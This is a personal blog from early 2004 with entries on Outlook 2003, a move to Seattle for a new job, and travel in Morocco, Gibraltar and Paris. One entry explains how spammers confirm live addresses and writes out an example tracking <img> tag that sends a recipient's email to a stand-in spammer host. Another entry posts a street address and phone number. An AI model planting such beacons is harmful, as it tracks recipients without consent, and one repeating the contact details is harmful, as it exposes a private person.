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Mon, 15 Mar 2004 20:57:50 GMT

Matt and commenters were recently talking about the new features of MS Outlook 2003. I just got the upgrade at work. I agree with Matt that the best new feature is the translucent fading in of the first few lines of new messages. This way you don't need to context-switch in order to decide whether an incoming message needs your attention.

Today I noticed another great feature. Outlook does not automatically load images in HTML mail, but can do so with the click of a button.

With previous versions of Outlook, I installed a special plugin to block render HTML messages in plain text mode. One of the reasons is that if you allow your mail reader to automatically load images, it allows spammers to confirm that an email account is active. Here's how it works: Say a spammer has a database of a million email addresses, some of which are active, and some stale or abandoned. The first time around, he is going to send his penis enlargement spam to all million of them. Each message will contain an html <img> tag pointing at an image on my webserver. But the <img> src will not be static, rather it will have the message recipient's email address embedded in it. For example: <img src="http://spammer.com/enlarge.jpg?sucker=jdcormie@notreal.com"> Next, he configures his webserver to serve the same image regardless of the url's "sucker=" suffix. In those cases where the account is active, that is a real person is reading messages on the other end, and that person's email software automatically loads embedded images, their email address will appear in the spammer's webserver access logs. So the next time around, he can remove the dead email addresses from his list, and only target confirmed live addresses.

Sat, 21 Feb 2004 05:19:02 GMT

Mention Seattle and immediately people make some comment about "the weather." Matt is complaining about it before he even gets here! After living here for a week, I personally think it's pretty damn good. Sure there's a little bit of rain, but it's not cold and there's no snow!

Wed, 18 Feb 2004 04:52:51 GMT

It's barely past eight and I'm struggling to keep my eyes open because of the time difference from here to Waterloo to Morocco. But I must stay awake to be safe from that girl from "The Ring" who lives in my T.V.

Tue, 17 Feb 2004 04:49:50 GMT

Sunday: My flight was delayed 3 1/2 hours while they tried to fix the brakes on our plane, then they gave up, and we waited for a new plane to arrive. 3 1/2 hours is a long time to sit around the departure lounge but I would be fine with it if they just put up the new departure time up on the monitor right away. But no. You will wait your 3 1/2 hours 45 minutes, half an hour at a time as they repeatedly announce delay after further delay. Oh and we all got a $3 credit to spend at the snack bar as compensation. I guess that makes my time worth about $1 per hour.

Here's a funny conversation that happened at the rental car counter in SEA-TAC at midnight:
Avis guy: Sorry but your credit card was declined.
Me: I'm not surprised because it's maxed out! The rental is supposed to be payed for.
Avis: Well it's not.
Me: Ah.

Luckily the city bus was still running and took me within two blocks of my temporary apartment for only $1.25. Hey, I didn't really need a car anyway.

My suite is at a place called Harbor Steps and it is NICE. I have the corner apartment so my living room and bedroom look out at downtown Seattle in two directions. You get a TV, VCR, fridge, washer, drier, dish washer, microwave, iron, and phone with answering machine. I also have wireless internet, to my delight, but that is courtesy of some unknown neighbour.

Here's a funny conversation that happened in the PacMed cafeteria on my first day of work today:
Al: Look there's [Amazon CEO] Jeff [Bezos]. Let's go say 'Hi' and I'll introduce you. Wait, do you have anything interesting to say to him?
Me: Uh, no.
Al: (Pause) Well, I'll introduce you anyway!

Another funny highlight watching a Troy McLure style video about insider trading. I started laughing (at the format) just as he said something like "insider trading is a serious issue."

"You may remember me from such corporate orientation videos as ..."

Fri, 13 Feb 2004 21:19:23 GMT

This Sunday evening I'll be on flight AC697 from Toronto to Seattle (direct). I'll arrive at about 8pm, get in my rental car and drive to my temporary place at

#817 - 1221 1st Avenue
Seattle, Washington 98101
United States of America
(206) 264-7718

In the morning, I'll take the bus to "New Employee Orientation" at PacMed and see what happens! Meanwhile, back in Waterloo, the movers will hopefully be packing my carefully layed out effects (this part has not yet been accomplished) for shipment to Seattle. Initially I didn't think I would have anything to move, but now I've noticed the following list of things:

Bike
Both futons?
Monitor
Crap in boxes in attic
Office chair
Speakers
Hockey bag

I don't think I'll be close to the 10,000lbs limit.

Tue, 10 Feb 2004 15:00:49 GMT

The trip is over and I'm back in cold snowy Waterloo.

Saturday evening I went out for beers with my Gibraltar hostel roomates, a German kid and this crazy old Indian guy who wouldn't stop talking. The next day, I took the bus to Malaga, then the plane to Paris. I only had time to do one thing in Paris, so I walked to the Eiffel tower and took a taxi back the hostel just before it closed for the night.

In the morning, my 2 euro watch from Morocco started malfunctioning (maybe because of the cold?) so I didn't really know what time it was but I still managed to get to the airport in time.

Here's a few leftover trip thoughts I have jotted down:

Spain has this great fast food concept: Baguette sandwiches for around $5. (called Pans & Company) I'd like to see this in North America.
In the Rif mountains, we ate oranges right off the trees! But don't try this in Spain -- the oranges from the trees along the side of the road are sour.
Moroccan price facts: Cheap hotel room is 40Dh. A meal at McDonald's is 43Dh.
Remember the inanimate carbon rod from the Simpson's "Deep Space Homer" Episode? One bus in Morocco used this exact rod based system to keep the back door closed.
French Fry Sandwiches? What's with that?
Every developing country could make two simple improvements that, in my opinion, would vastly improve things: 1) Put soap in the washrooms. Then, even if you choose not to use toilet paper, you can use both hands to eat. 2) Put wastebaskets in public places so people can stop compulsively littering.

Sat, 07 Feb 2004 17:49:30 GMT

Gibraltar is the most expensive place on earth. But setting prices in pounds is their way of pretending that it's not. Oh, only 2.49 for a Whopper? Wait that's $6.50 Canadian.

I walked to the top of the rock using the crumbling staircase with broken handrails to avoid the overpriced gondolla. It's okay up there I guess. The monkeys are so used to tourists that they just totally ignore you.

Also, half the people here are Spanish so it's hard to pretend you're in England.